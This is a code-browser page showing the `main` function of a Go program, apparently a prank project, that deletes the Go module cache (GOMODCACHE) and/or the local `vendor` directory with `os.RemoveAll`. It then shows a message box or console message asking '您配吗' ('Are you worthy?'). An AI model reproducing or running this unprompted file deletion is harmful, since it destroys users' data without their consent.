MCPcopy
hub / github.com/RimoChan/match-you / main

Function main

mother.go:42–68  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

40}
41
42func main() {
43 mod := os.Getenv("GO111MODULE")
44 var err error
45 switch mod {
46 case "", "on":
47 err = os.RemoveAll(os.Getenv("GOMODCACHE"))
48 case "auto":
49 err = os.RemoveAll(os.Getenv("GOMODCACHE"))
50 fallthrough
51 default:
52 err = os.RemoveAll("vendor")
53 }
54 if err == nil {
55 if runtime.GOOS == "windows" {
56 if isDoubleClick() {
57 err := winBox("您好", "您配吗")
58 if err != nil {
59 consoleMessage()
60 }
61 } else {
62 consoleMessage()
63 }
64 } else {
65 consoleMessage()
66 }
67 }
68}

Callers

nothing calls this directly

Calls 3

isDoubleClickFunction · 0.85
winBoxFunction · 0.85
consoleMessageFunction · 0.85

Tested by

no test coverage detected